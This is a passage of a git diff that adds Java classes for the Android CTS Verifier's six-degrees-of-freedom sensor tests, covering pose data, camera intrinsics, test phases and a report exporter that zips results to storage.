+     * Can any value other than 0 by default as they cancel each other out in the maths in
+     * ComplexMovementRenderer.calculateProjectionMatrix(..)
+     */
+    private static final int DEFAULT_WIDTH = 1;
+    /**
+     * Can any value other than 0 by default as they cancel each other out in the maths in
+     * ComplexMovementRenderer.calculateProjectionMatrix(..)
+     */
+    private static final int DEFAULT_HEIGHT = 1;
+
+    private int mWidth;
+    private int mHeight;
+    private double mFocalLengthInPixelsX;
+    private double mFocalLengthInPixelsY;
+
+    public Intrinsics() {
+        double focalLengthX = DEFAULT_FOCAL_LENGTH * DEFAULT_WIDTH / DEFAULT_SENSOR_WIDTH;
+        double focalLengthY = DEFAULT_FOCAL_LENGTH * DEFAULT_SENSOR_HEIGHT / DEFAULT_SENSOR_HEIGHT;
+        new Intrinsics(DEFAULT_WIDTH, DEFAULT_HEIGHT, focalLengthX, focalLengthY);
+    }
+
+    public Intrinsics(int width, int height, double focalLengthInPixelsX, double focalLengthInPixelsY) {
+        mWidth = width;
+        mHeight = height;
+        mFocalLengthInPixelsX = focalLengthInPixelsX;
+        mFocalLengthInPixelsY = focalLengthInPixelsY;
+    }
+
+    public int getWidth() {
+        return mWidth;
+    }
+
+    public int getHeight() {
+        return mHeight;
+    }
+
+    public double getFocalLengthInPixelsX() {
+        return mFocalLengthInPixelsX;
+    }
+
+    public double getFocalLengthInPixelsY() {
+        return mFocalLengthInPixelsY;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/PoseData.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/PoseData.java
new file mode 100644
index 0000000..19ba4e7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/PoseData.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider;
+
+public class PoseData {
+    /** Index of the X-value in the translation array. */
+    public static final int INDEX_TRANSLATION_X = 0;
+    /** Index of the Y-value in the translation array. */
+    public static final int INDEX_TRANSLATION_Y = 1;
+    /** Index of the Z-value in the translation array. */
+    public static final int INDEX_TRANSLATION_Z = 2;
+
+    /** Index of the quaternion X-value in the rotation array. */
+    public static final int INDEX_ROTATION_X = 0;
+    /** Index of the quaternion Y-value in the rotation array. */
+    public static final int INDEX_ROTATION_Y = 1;
+    /** Index of the quaternion Z-value in the rotation array. */
+    public static final int INDEX_ROTATION_Z = 2;
+    /** Index of the quaternion W-value in the rotation array. */
+    public static final int INDEX_ROTATION_W = 3;
+
+    public double timestamp = 0;
+
+    /**
+     * Orientation, as a quaternion, of the pose of the target frame with reference to to the base
+     * frame.
+     * <p>
+     * Specified as (x,y,z,w) where RotationAngle is in radians:
+     * <pre>
+     * x = RotationAxis.x * sin(RotationAngle / 2)
+     * y = RotationAxis.y * sin(RotationAngle / 2)
+     * z = RotationAxis.z * sin(RotationAngle / 2)
+     * w = cos(RotationAngle / 2)
+     * </pre>
+     */
+    public float mRotation[] = {
+            0.0f, 0.0f, 0.0f, 1.0f };
+
+    /**
+     * Translation, ordered x, y, z, of the pose of the target frame relative to the reference
+     * frame.
+     */
+    public float mTranslation[] = {
+            0.0f, 0.0f, 0.0f };
+
+    public PoseData(float[] sixDoFSensorValues, long timestamp){
+        this.timestamp = timestamp;
+        mRotation[0] = sixDoFSensorValues[0];
+        mRotation[1] = sixDoFSensorValues[1];
+        mRotation[2] = sixDoFSensorValues[2];
+        mRotation[3] = sixDoFSensorValues[3];
+        mTranslation[0] = sixDoFSensorValues[4];
+        mTranslation[1] = sixDoFSensorValues[5];
+        mTranslation[2] = sixDoFSensorValues[6];
+    }
+
+    public PoseData(float[] translation, float[] rotation, long timestamp){
+        this.timestamp = timestamp;
+        mRotation[0] = rotation[0];
+        mRotation[1] = rotation[1];
+        mRotation[2] = rotation[2];
+        mRotation[3] = rotation[3];
+        mTranslation[0] = translation[0];
+        mTranslation[1] = translation[1];
+        mTranslation[2] = translation[2];
+    }
+
+    /**
+     * Convenience function to get the rotation casted as an array of floats.
+     *
+     * @return The pose rotation.
+     */
+    public float[] getRotationAsFloats() {
+        float[] out = new float[4];
+        for (int i = 0; i < 4; i++) {
+            out[i] = mRotation[i];
+        }
+        return out;
+    }
+
+    /**
+     * Convenience function to get the translation casted as an array of floats.
+     *
+     * @return The pose translation.
+     */
+    public float[] getTranslationAsFloats() {
+        float[] out = new float[3];
+        for (int i = 0; i < 3; i++) {
+            out[i] = mTranslation[i];
+        }
+        return out;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/PoseProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/PoseProvider.java
new file mode 100644
index 0000000..5ec8ed3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/PoseProvider.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider;
+
+import android.content.Context;
+
+/**
+ * Base class for objects that provide pose data to the app.
+ */
+public abstract class PoseProvider {
+    protected Context mContext;
+    protected PoseProviderListener mPoseProviderListener;
+
+    protected PoseData mLatestPoseData;
+    protected Intrinsics mIntrinsics;
+
+    public static final Object POSE_LOCK = new Object();
+
+    public interface PoseProviderListener {
+        void onSetupComplete();
+
+        void onNewPoseData(PoseData newPoseData);
+    }
+
+    public PoseProvider(Context context, PoseProviderListener listener) {
+        mContext = context;
+        mPoseProviderListener = listener;
+    }
+
+    public abstract void onStartPoseProviding();
+
+    public abstract void onStopPoseProviding();
+
+    public abstract void setup();
+
+    protected void onNewPoseData(PoseData newPoseData){
+        if (mPoseProviderListener != null) {
+            mPoseProviderListener.onNewPoseData(newPoseData);
+        }
+    }
+
+    public PoseData getLatestPoseData() {
+        synchronized (POSE_LOCK) {
+            return mLatestPoseData;
+        }
+    }
+
+    public Intrinsics getIntrinsics() {
+        return mIntrinsics;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/ReportExporter.java
new file mode 100644
index 0000000..add7a47
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/ReportExporter.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils;
+
+import com.android.cts.verifier.R;
+
+import android.content.Context;
+import android.os.AsyncTask;
+import android.os.Build;
+import android.os.Environment;
+import android.app.AlertDialog;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+/**
+ * Exports the xml report to a file.
+ */
+public class ReportExporter extends AsyncTask<Void, Void, String> {
+    public static final String REPORT_DIRECTORY = "6dofVerifierReports";
+    protected static final Logger LOG = Logger.getLogger(ReportExporter.class.getName());
+
+    private final Context mContext;
+    private final String mTestReport;
+
+    public ReportExporter(Context context, String report) {
+        this.mContext = context;
+        this.mTestReport = report;
+    }
+
+    @Override
+    protected String doInBackground(Void... params) {
+        if (!Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState())) {
+            LOG.log(Level.WARNING, "External storage is not writable.");
+            return mContext.getString(R.string.no_storage);
+        }
+        byte[] contents = mTestReport.getBytes();
+        String storagePath = System.getenv("EXTERNAL_STORAGE");
+        if (storagePath.length() == 0 || storagePath.equals("")) {
+            storagePath = Environment.getExternalStorageDirectory().getPath();
+        }
+        File reportPath = new File(storagePath, REPORT_DIRECTORY);
+        reportPath.mkdirs();
+
+        String baseName = getReportBaseName();
+        File reportFile = new File(reportPath, baseName + ".zip");
+        ZipOutputStream out = null;
+        try {
+            out = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(reportFile)));
+            ZipEntry entry = new ZipEntry(baseName + ".xml");
+            out.putNextEntry(entry);
+            out.write(contents);
+        } catch (IOException e) {
+            LOG.log(Level.WARNING, "I/O exception writing report to storage.", e);
+            return mContext.getString(R.string.no_storage);
+        } finally {
+            try {
+                if (out != null) {
+                    out.close();
+                }
+            } catch (IOException e) {
+                LOG.log(Level.WARNING, "I/O exception closing report.", e);
+            }
+        }
+
+        return mContext.getString(R.string.report_saved, reportFile.getPath());
+    }
+
+    private String getReportBaseName() {
+        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy.MM.dd-HH.mm.ss", Locale.ENGLISH);
+        String date = dateFormat.format(new Date());
+        return "6dofVerifierReport"
+                + "-" + date
+                + "-" + Build.MANUFACTURER
+                + "-" + Build.PRODUCT
+                + "-" + Build.DEVICE
+                + "-" + Build.ID;
+    }
+
+    @Override
+    protected void onPostExecute(String result) {
+        new AlertDialog.Builder(mContext)
+                .setMessage(result)
+                .setPositiveButton(android.R.string.ok, null)
+                .show();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/ResultObjects/ResultObject.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/ResultObjects/ResultObject.java
new file mode 100644
index 0000000..8944fcb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/ResultObjects/ResultObject.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects;
+
+import com.android.cts.verifier.sensors.sixdof.Dialogs.AccuracyResultDialog;
+import com.android.cts.verifier.sensors.sixdof.Dialogs.BaseResultsDialog;
+
+import java.util.HashMap;
+
+/**
+ * Handles the results from the tests
+ */
+public class ResultObject {
+    private HashMap<BaseResultsDialog.ResultType, Boolean> mResults;
+
+    /**
+     * Constructor for this class.
+     *
+     * @param results List to indicate whether a test has failed or passed.
+     */
+    public ResultObject(HashMap<BaseResultsDialog.ResultType, Boolean> results) {
+        mResults = results;
+    }
+
+    /**
+     * Returns true if all tests pass and false for anything else.
+     */
+    public boolean hasPassed() {
+        for (Boolean result : mResults.values()) {
+            if (!result) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Returns List to indicate whether a test has failed or passed.
+     */
+    public HashMap<AccuracyResultDialog.ResultType, Boolean> getResults() {
+        return new HashMap<>(mResults);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/AccuracyTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/AccuracyTest.java
new file mode 100644
index 0000000..43889b3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/AccuracyTest.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.TestPhase;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestReport;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.ReferencePath;
+
+import android.util.Log;
+
+/**
+ * Class to handle accuracy test specific operations.
+ */
+public class AccuracyTest extends Test {
+    private boolean resultsGiven = false;
+
+    /**
+     * Calls the constructor of the super class.
+     *
+     * @param referencePath Reference the the reference path.
+     * @param testReport    The test report object to record the tests.
+     * @param manager       The manager to call when the test is done.
+     */
+    public AccuracyTest(ReferencePath referencePath, TestReport testReport, Manager manager) {
+        super(referencePath, testReport, manager, "Accuracy Test");
+    }
+
+    /**
+     * Accuracy test specific checks. Checks to see if the test is done.
+     */
+    @Override
+    protected void runAdditionalMethods() {
+        if (mTestPath.getPathMarkersSize() == MAX_MARKER_NUMBER && !resultsGiven) {
+            Log.e("testPhase addPoseData:", "giving the results");
+            resultsGiven = true;
+            mManager.onAccuracyTestCompleted(super.executeTests(true, true));
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/ComplexMovementTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/ComplexMovementTest.java
new file mode 100644
index 0000000..47e8927
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/ComplexMovementTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.sensors.sixdof.Utils.TestPhase;
+
+import com.android.cts.verifier.sensors.sixdof.Dialogs.BaseResultsDialog;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestReport;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.ComplexMovementPath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.ReferencePath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+
+/**
+ * Handles all the ComplexMovement test related features.
+ */
+public class ComplexMovementTest extends Test {
+    private boolean mResultsGiven = false;
+
+    /**
+     * Created a new ComplexMovement path which is to be used in this test.
+     *
+     * @param referencePath Reference the the reference path.
+     * @param testReport    The test report object to record the tests.
+     * @param manager       The manager to call when the test is done.
+     */
+    public ComplexMovementTest(ReferencePath referencePath, TestReport testReport, Manager manager) {
+        super(referencePath, testReport, manager, "Complex Movement Test");
+        mTestPath = new ComplexMovementPath(mReferencePathDistances, mReferencePath.getCurrentPath());
+    }
+
+    /**
+     * Implementation of the abstract method which check whether the test is complete.
+     */
+    @Override
+    protected void runAdditionalMethods() {
+        if (mTestPath.getPathMarkersSize() == MAX_MARKER_NUMBER && !mResultsGiven) {
+            mResultsGiven = true;
+            executeComplexMovementTests();
+        }
+    }
+
+    /**
+     * Starts the ComplexMovement tests.
+     */
+    private void executeComplexMovementTests() {
+        HashMap<BaseResultsDialog.ResultType, Boolean> complexMovementTestResults;
+        complexMovementTestResults = executeTests(true, false);
+        complexMovementTestResults.put(BaseResultsDialog.ResultType.RINGS, testRings());
+        mManager.onComplexMovementTestCompleted(complexMovementTestResults);
+    }
+
+    /**
+     * Tests whether the current location enters a ring.
+     *
+     * @param location the current location of the user
+     */
+    public void checkIfARingHasBeenPassed(float[] location) {
+        Ring ring = ((ComplexMovementPath) mTestPath).hasRingBeenEntered(location);
+        if (ring != null && !ring.isEntered()) {
+            // If ring has not already been entered.
+            mManager.ringEntered(ring);
+            ring.setEntered(true);
+        }
+    }
+
+    /**
+     * Finds the rings that have not been entered.
+     *
+     * @return true if all rings are entered and false if there is at least one ring not entered
+     */
+    public boolean testRings() {
+        ArrayList<Ring> testArray = ((ComplexMovementPath) mTestPath).getRings();
+        boolean state = true;
+        for (int i = 0; i < testArray.size(); i++) {
+            if (!testArray.get(i).isEntered()) {
+                recordRingTestResults(i);
+                state = false;
+            }
+        }
+        return state;
+    }
+
+    /**
+     * Forms a string for the failed ring and updates the test report with the string.
+     *
+     * @param ringIndex the index of the array the ring is in
+     */
+    private void recordRingTestResults(int ringIndex) {
+        Ring ring = ((ComplexMovementPath) mTestPath).getRings().get(ringIndex);
+        String testDetails =
+                "Ring Test: Ring was not entered. Path number: " + ring.getPathNumber() +
+                        "Ring number:" + ((ringIndex % ComplexMovementPath.RINGS_PER_PATH) + 1) + "\n";
+        Log.e("Ring Result", testDetails);
+        mTestReport.setFailDetails(testDetails);
+
+    }
+
+    /**
+     * Returns the rings in the path.
+     */
+    public ArrayList<Ring> getRings() {
+        return ((ComplexMovementPath) mTestPath).getRings();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/RobustnessTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/RobustnessTest.java
new file mode 100644
index 0000000..ae73922
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/RobustnessTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.sensors.sixdof.Utils.TestPhase;
+
+
+import com.android.cts.verifier.sensors.sixdof.Dialogs.BaseResultsDialog;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestReport;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.ReferencePath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.RobustnessPath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.RotationData;
+
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+
+/**
+ * Handles all the Robustness test related features.
+ */
+public class RobustnessTest extends Test {
+    private static final float MAXIMUM_PERCENT_ROTATION_FAILURE = 50f;
+    private boolean mResultsGiven = false;
+    private ArrayList<Long> mTimeDifferences = new ArrayList<>();
+    private float mDistanceOfPathToFail;
+
+    /**
+     * Created a new robustness path which is to be used in this test.
+     *
+     * @param referencePath Reference the the reference path.
+     * @param testReport    The test report object to record the tests.
+     * @param manager       The manager to call when the test is done.
+     */
+    public RobustnessTest(ReferencePath referencePath, TestReport testReport, Manager manager,
+                          int openGlRotation) {
+        super(referencePath, testReport, manager, "Robustness Test");
+        mTestPath = new RobustnessPath(openGlRotation);
+        float mPathTotalDistance = 0;
+        for (float distance : mReferencePathDistances) {
+            mPathTotalDistance += distance;
+        }
+        mDistanceOfPathToFail = (MAXIMUM_PERCENT_ROTATION_FAILURE / 100f) * mPathTotalDistance;
+    }
+
+    /**
+     * Implementation of the abstract method which check whether the test is complete.
+     */
+    @Override
+    protected void runAdditionalMethods() {
+        if (mTestPath.getPathMarkersSize() == MAX_MARKER_NUMBER && !mResultsGiven) {
+            mResultsGiven = true;
+            executeRobustnessTests();
+        }
+    }
+
+    /**
+     * Starts the robustness tests.
+     */
+    private void executeRobustnessTests() {
+        HashMap<BaseResultsDialog.ResultType, Boolean> robustnessTestResults;
+        robustnessTestResults = executeTests(true, true);
+        robustnessTestResults.put(BaseResultsDialog.ResultType.TIME, timerTest());
+        robustnessTestResults.put(BaseResultsDialog.ResultType.ROTATION, rotationTest());
+        mManager.onRobustnessTestCompleted(robustnessTestResults);
+    }
+
+    /**
+     * Test to check whether the waypoint was placed in the appropriate time.
+     *
+     * @return true if all waypoint times were met, fail if a waypoint was placed after the time
+     * expired
+     */
+    private boolean timerTest() {
+        calculateTimeBetweenMarkers();
+        boolean state = true;
+        for (int i = 0; i < mTimeDifferences.size(); i++) {
+            if (mTimeDifferences.get(i) > RobustnessPath.TIME_TO_ADD_MARKER) {
+                recordTimerTestResults(i);
+                state = false;
+            }
+        }
+        return state;
+    }
+
+    /**
+     * Calculates the time it took to place a waypoint.
+     */
+    private void calculateTimeBetweenMarkers() {
+        long timeDifference;
+        ArrayList<Long> markerTimeStamps = ((RobustnessPath) mTestPath).getMarkerTimeStamp();
+        for (int i = 1; i < ((RobustnessPath) mTestPath).getMarkerTimeStampSize(); i++) {
+            timeDifference = markerTimeStamps.get(i) - markerTimeStamps.get(i - 1);
+            mTimeDifferences.add(timeDifference);
+        }
+    }
+
+    /**
+     * Formats the failed times into a string to add it to the test report.
+     *
+     * @param markerLocation The marker location which failed the test. Used to get the data needed
+     *                       for the test report
+     */
+    private void recordTimerTestResults(int markerLocation) {
+        long failedTime = mTimeDifferences.get(markerLocation);
+        String markerToPlace = MathsUtils.coordinatesToString(
+                mTestPath.getPathMarkers().get(markerLocation).getCoordinates());
+        String testDetails =
+                "Timer test: Marker placement was too slow that timer expired. Target time: "
+                        + RobustnessPath.TIME_TO_ADD_MARKER / 1000 + " Completed time: " + Math.abs(failedTime) / 1000 +
+                        " Marker: " + markerLocation + " Coordinates:" + markerToPlace + "\n";
+        Log.e("Timer Result", testDetails);
+        mTestReport.setFailDetails(testDetails);
+    }
+
+    /**
+     * Test to check whether the rotation test has passed based on the percent of failed rotations.
+     *
+     * @return true if the test passes, false if the test fails
+     */
+    private boolean rotationTest() {
+        float failedRotations = ((RobustnessPath) mTestPath).getFailedRotationsSize();
+        float totalRotations = ((RobustnessPath) mTestPath).getRobustnessPathRotationsSize();
+        float percentage = (failedRotations / totalRotations) * 100;
+        if (totalRotations == 0) {
+            Log.e("rotationResult", "Total was 0");
+            return false;
+        }
+        if (percentage > MAXIMUM_PERCENT_ROTATION_FAILURE) {
+            Log.d("rotationResult", "failed");
+            recordRotationTestResults(percentage, failedRotations, totalRotations);
+            return false;
+        } else {
+            Log.d("getFailedRotationSize", "" + failedRotations);
+            Log.d("total", "" + totalRotations);
+            Log.d("rotationResult", "passed ");
+            Log.d("rotationResult", "" + percentage);
+            return true;
+        }
+    }
+
+    /**
+     * Formats the failed rotations into a string to add it to the test report.
+     *
+     * @param percentFailed   Percentage of failed rotations
+     * @param failedRotations number of failed rotations
+     * @param totalRotations  number of rotations made
+     */
+    private void recordRotationTestResults(float percentFailed, float failedRotations, float totalRotations) {
+        String testDetails =
+                "Rotation test: Rotation fails were too great. Target rotation percent: "
+                        + MAXIMUM_PERCENT_ROTATION_FAILURE + " GivenRotation percent: " + percentFailed +
+                        " Failed rotation: " + failedRotations + " Total rotations:" + totalRotations + "\n";
+        Log.e("Timer Result", testDetails);
+        mTestReport.setFailDetails(testDetails);
+    }
+
+    /**
+     * gets the result of comparing the current rotation
+     *
+     * @param rotationQuaternion The quaternions of the current rotation
+     * @param location           The location of the point with the rotation
+     * @return The rotation about the current rotation
+     */
+    public RotationData getRotationData(float[] rotationQuaternion, float[] location) {
+        RotationData rotation = ((RobustnessPath) mTestPath).handleRotation(
+                rotationQuaternion, location, mReferencePath.getPathMarkers(), mDistanceOfPathToFail);
+        if (rotation == null) {
+            if (!mResultsGiven) {
+                mResultsGiven = true;
+                HashMap<BaseResultsDialog.ResultType, Boolean> testFailed = new HashMap<>();
+                testFailed.put(BaseResultsDialog.ResultType.WAYPOINT, false);
+                testFailed.put(BaseResultsDialog.ResultType.PATH, false);
+                testFailed.put(BaseResultsDialog.ResultType.TIME, false);
+                testFailed.put(BaseResultsDialog.ResultType.ROTATION, false);
+                String testDetails = "Test terminated as it its impossible to pass the remaining rotations";
+                Log.e("Rotation test:", mDistanceOfPathToFail + "");
+                Log.e("Rotation test:", testDetails);
+                mTestReport.setFailDetails(testDetails);
+                mManager.onRobustnessTestCompleted(testFailed);
+            }
+            return null;
+        } else {
+            return rotation;
+        }
+
+    }
+
+    /**
+     * Returns the time remaining for the user to place the marker
+     */
+    public long getTimeRemaining() {
+        return ((RobustnessPath) mTestPath).calculateTimeRemaining();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/Test.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/Test.java
new file mode 100644
index 0000000..f69c2a2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestPhase/Test.java
@@ -0,0 +1,279 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.sensors.sixdof.Utils.TestPhase;
+
+import com.android.cts.verifier.sensors.sixdof.Dialogs.BaseResultsDialog;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestReport;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.AccuracyPath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.Path;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.ReferencePath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+
+/**
+ * TestPhase generic class will be inherited by the other tests.
+ */
+public abstract class Test {
+    public static final int MAX_MARKER_NUMBER = 5;
+    private static final float FAILURE_TOLERANCE_PERCENTAGE = 0.025f; // 2.5%
+    private String mTestPhaseName;
+
+    protected ArrayList<Float> mMarkerAccuracy = new ArrayList<>();
+    protected ArrayList<Float> mPathAccuracy = new ArrayList<>();
+    protected ArrayList<Float> mReferencePathDistances = new ArrayList<>();
+    private ArrayList<Float> mTestPathDistances = new ArrayList<>();
+
+    protected ReferencePath mReferencePath;
+    protected Path mTestPath;
+    protected TestReport mTestReport;
+    protected Manager mManager;
+
+    /**
+     * Constructor for this class.
+     *
+     * @param referencePath Reference the the reference path.
+     * @param testReport    The test report object to record the tests.
+     * @param manager       The manager to call when the test is done.
+     */
+    public Test(ReferencePath referencePath, TestReport testReport, Manager manager, String testPhase) {
+        if (referencePath != null) {
+            mReferencePath = referencePath;
+        } else {
+            throw new AssertionError("TestPhase received a null referencePath", null);
+        }
+        mTestPhaseName = testPhase;
+        mTestReport = testReport;
+        mManager = manager;
+        mTestPath = new AccuracyPath();
+        mReferencePathDistances = calculatePathDistance(mReferencePath.getCurrentPath(), mReferencePath.getPathMarkers());
+    }
+
+    /**
+     * Adds the current waypoint to the test path.
+     *
+     * @param coordinates   the coordinates to use for the waypoint.
+     * @param userGenerated indicates whether the data was user created or system created.
+     * @param currentLap    the lap the data was created in.
+     * @throws WaypointDistanceException    if the location is too close to another.
+     * @throws WaypointAreaCoveredException if the area covered by the user is too little.
